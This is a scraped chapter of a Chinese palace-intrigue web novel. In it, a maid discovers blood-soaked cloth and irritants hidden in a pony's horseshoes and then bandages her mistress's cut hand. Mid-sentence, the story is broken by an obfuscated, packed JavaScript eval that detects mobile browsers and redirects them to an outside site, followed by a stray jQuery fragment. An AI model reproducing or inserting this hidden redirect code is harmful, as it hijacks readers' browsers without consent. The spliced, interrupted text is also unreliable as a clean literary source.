默认冷灰
24号文字
方正启体

8. 马蹄

作者:凰箜篌Erasmus本书字数:K更新时间:
    送走了刘荣,吃饱喝足也玩耍够了的二哥总算收拾行李准备返乡。


    阿娇去门口送行的时候,楚服还在研究刘荣的那条疯狗。


    临行前,小侯爷死性不改,凑到阿娇的耳边啧啧称奇:“阿娇,你一个人在京城若是缺少奴婢,就同二哥说,二哥去江南再给你物色几个说话柔软的小丫头送过来。这西域来的你要是用的不习惯,不用硬撑着。”


    阿娇这一天连着被两个男人拢去说悄悄话,简直烦不胜烦:“二哥说笑了,我这儿的丫头们都挺好的,不劳您费心,也不劳您记挂。”


    可惜这男人没有一点眼力见,完全不知什么是善罢甘休,反倒又把头往前凑了凑:“我说,那婢子那样凶残的性格,你如何驾驭的住。倒是我自从上次见到她,就觉得跟她一见如故,不如你送了给我?就是那个,叫什么,楚服的。”


    竟然还没忘!


    阿娇皱起眉,难得的在家里这些“大人”面前露出一点歪鼻子斜眼的表情,分外嫌弃。


    她没好气地说道:“什么漂亮丫头,我这儿可没有,我调教的这些人也都不是服侍男人的那块料子。二哥想要美人在怀,出了这门什么人没有?我这就让人去帮二哥订个逍遥快活的地方,临行前好好玩玩。”


    说这话的时候刘嫖正站在前头,帮他清点要带走的行李。


    她声音不大不小,刚好能传入刘嫖的耳朵。


    二哥虽然玩世不恭,在京许多天也没少去“逍遥快活”,可被刘嫖知道他没日没夜的花天酒地也是要挨骂的,当即被她吓到,忙央道:“好妹妹,我错了,仔细着点别让娘听见。我不讨了还不成吗。”


    求完,又低头嘟哝道:“你也是越发小气了,一个丫头而已,至于对我置气,伤了兄妹和气么?”


    阿娇叉起了腰,昂首挺胸:“明明是你先抢小妹的东西,你不知羞!”


    二哥被气笑,抬起手把她精致的发揉乱:“好好好,她是你的,谁也抢不走,二哥不开玩笑了还不成吗。小孩子丫丫,说话倒是一套一套的。”


    *


    后院里,楚服正和那条猎狗大眼瞪小眼。


    她生怕自己脸上那些油彩一样的妆吓到狗,加上脂粉糊在脸上实在是痒的抓心挠肝,早就卸了妆。


    不愧是当朝长子养出来的猎犬。这狗到了陌生的环境也不怕生,甚至还很亲人。它先是讨好地对着楚服蹭了两下,尾巴摇出了残影,把“狗腿子”这三个字展现得淋漓尽致,而后兀自走到了马厩下面的水槽喝水。


    被比自己体型大了许多的马踹了一脚,居然也不怕,反倒对着马群狂吠起来。


    什么样的人养什么样的狗。


    楚服心想。


    她生怕这疯狗再吓着马,呵斥它安静。


    兴许是感受到她身上的威压,那狗立即夹着尾巴回头看了她一眼,咧开嘴露出一个“笑”来,然后小心的摇着尾巴走到了她脚边,状似无辜地抬头看看她,又低下头闻她的鞋。


    “狗腿子。”


    她嘟哝了一句,就蹲下身去,当了个半吊子兽医,在那狗身上胡乱摸了一通,忽然面色一滞,俯下身凑近了狗的鼻子。


    结果被狗摇着尾巴舔了满脸口水。


    楚服被舔的一脑门子官司,皱着眉站了起来,感觉到了一点不同寻常。


    只是刘荣没安好心,想坑害一下王夫人和刘彻?这手段也太不入流了些。


    还是说想要这狗吓到小姐,趁机抱她,揩一把油呢?


    刘荣虽然尚且未娶妻,可是他母妃受宠,自己成家的也早,身边少不了美妾和丫鬟侍奉,这么少得了鸳鸯交颈,锦被红浪,怎么可能如此急色近利?


    楚服按了按眉心,只觉得这狗虽然不怕生,性子却实在太急躁。


    她走到马厩旁边的水池想要洗干净那些狗口水,忽然看到马夫正牵着那新来的小马驹,往阿娇的院子里赶。


    太漂亮了。


    漂亮到像是断定了阿娇看到它,第一反应一定是上马瞧瞧一样。


    “等等!”


    那马夫被惊了一惊,回过神来,忙拱手道:“楚服姑娘。”


    “这马要牵到哪里去?”


    “哦,我见这马儿马蹄修的不太漂亮,准备修下马蹄,然后再牵回马厩,小姐喜欢了就牵出来骑着玩儿。”


    楚服盯着那马在地上磨蹄子的动作,丢下一句“牵住马在这等等”,就转身把那猎犬抱了过来,放到了马旁边,那狗果然又开始狂吠。


    “这马是从前门牵进来的吗?”


    “是。”


    她蹲下身,扯起马蹄,果然看见马蹄上的蹄铁里嵌着一块浸满了鲜血的布。


    把四块蹄铁解下来,楚服端详片刻,又凑近闻了闻。


    对上马夫惊恐的眼神,楚服顿感失态,于是故作严肃,神神秘秘道:“这是河西的布,我只是觉得亲近熟悉,拿来瞧瞧,就先带走了。刚刚你也瞧见了,小姐很喜欢这匹马,你好生照顾着,往后有你得赏的时候。”


    *


    “你是说,马蹄铁上有新鲜血迹、柑橘皮磨的粉,还有薄荷和艾草?可以刺激刘荣的马?”


    “刘荣好骑射,身边总是喜欢带着猎犬,也喜欢骑马。他今天早上那样大摇大摆地出门,走过了半个长安市,恨不得让全天下的人都知道他来了长公主府。”


    “有心之人抓了动物来现杀,塞入马蹄,在刘荣走之前,正好来得及把马送进来。”


    楚服汇报完,赶紧把那味道有些熏眼睛的布条收了起来,放在一边,体贴地倒来一杯浓茶放在陈阿娇的桌前。


    陈阿娇按了按额角,脸色铁青:“我就说他怎么非选择今日来送……是在和刘荣争宠吗?”


    她故意地,甚至是带了一点恶意,用了“争宠”这样被这些男人讨厌的词汇。


    后妃使手段,是争宠。


    那这些男人在她面前献殷勤,凭什么被美化成谋略?


    刘彻“争宠”远比刘荣的高明,也比刘荣的精细。他会记得刘嫖和陈阿娇的喜好,不遗余力地讨好,想来在皇帝和窦皇后面前也是如此。


    他是个很会“争宠”的孩子。


    “刘彻是皇子里学识最好、也最有帝王之相的人,就连一味宠爱栗姬的皇帝都喜欢他。甚至左右逢源,太后也喜欢,只可惜母妃并不够得宠,而且他自己年岁还——哈欠——”


    她起得太早,话说了一半就开始打呵欠,手无意识地抓紧了桌上放着的竹简,愣是被上面的倒刺划破了一条口子。


    这一下十分不巧,那倒刺大约扎进了什么经脉里面,居然井喷似得往外冒血。


    她茫然的想,要是朝堂上的事,有这血花一半坦率就好了。


    什么阴谋阳谋,不如血雨腥风来的痛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271095|166632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    快。


    楚服倒吸一口冷气,险些惊叫出声来,比阿娇的反应还大。


    她着急忙慌去找了止血药来,给她包扎。


    只能算她幸亏学的机灵了一些,没有大呼小叫,再把外面那群丫头招进来围观。


    陈阿娇有些好笑地看着她半跪在自己面前,不发一言。眼神在她和那冒血的手指上来回逡巡,直到那些血全都被楚服用白布条捆上:“在晚一会儿,伤口可就要结痂了。”


    “嗯,”楚服半眯着眼睛看她,带着一点笑低下头,用牙齿叼住布条的一端,扯远,打结,“只不过奴婢的心可就要流血了。”


    这一套动作枯燥得很,本应该没什么看头,却平白生出一点漫长又勾人的滋味。


    阿娇微笑着看她,目光似有些烧灼,不知是盯着那些色泽艳丽的血还是楚服的脸,嘴里没由来地念了一句:“貌丰盈以庄姝兮,苞温润之玉颜。”


    楚服给她打了个漂亮的结,不明所以:“小姐说什么?”


    “夸你漂亮,”陈阿娇重复了一句,顶着手上那个布馒头,又转过头去念了几句《道德经》,轻轻叹了口气,“楚服,二哥说得对。长安城真的变天了。”


    她的语气不咸不淡,像是真的在讨论天气一样。


    “哪有什么变不变天,年年如此罢了。小姐只要记得冬冷加衣,没什么难捱的。”


    “我听人说,穷人家开春就把棉服典当,等到了冬日再赎买回来。加不起衣裳的,就成了路边冻死骨。”


    楚服没想到阿娇的话题忽然扭转了,眉心一跳。


    她语气如旧,可这一番话让她想起了旧年在外流浪之时,食不果腹衣不蔽体的日子,胸口居然疼痛难忍。


    在长公主府上吃饱穿暖,不过短短不到半年的光景。


    “阿娘叫我和她一同去用晚饭,你留在这练功,不必去了。”陈阿娇合上竹简起身要走,楚服急忙取来厚袄给她披上。


    陈阿娇走了两步,忽然转回头来冲着阿娇一笑,露出一颗虎牙来:“我给你带宵夜,好不好?”


    她说的宵夜大多是些汤饺、或者猪油烙饼一类的吃食,楚服半夜饿了经常一个人窝在被子里啃干巴巴的死面饼,下意识点头。


    阿娇转过头去,蹦蹦跳跳地走了。


    和刘嫖共用晚饭的次数并不少,但是屏退了下人,只留着灵犀一个大丫头在身边还是十分少见。


    阿娇吃得有些心不在焉,也不加菜,只是小口小口喝着羹汤。


    “阿娇,你今天说的,埋怨你哥哥爱美人的话可都是真的?往后你是要做皇后的,嫁得是太子,是皇上。怎么能因为他们后宅后宫里养了几个女人就心生妒忌?这可不是成大业的人该有的。”


    该来的还是来了。


    阿娇闭着嘴看着她,眼里满是明晃晃的倔强。


    像是写了几个大字:不听不听王八念经。


    刘嫖好气又好笑,伸手弹了一下阿娇的额头:“跟你说话呢。”


    而后随口说道:“难不成是为你哥哥抢你新欢小丫头,吃醋了?”


    无心之举总能戳人肺腑,阿娇本想装疯卖傻搪塞过去,却被这一句话正中坏心思,一肚子坏水哗啦啦顺着脊背流下去了,额头冒汗,被汤羹呛了个正着。


    “都说了多吃菜别一直喝汤,看看,呛着了吧。”


    和喝汤有什么关系!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)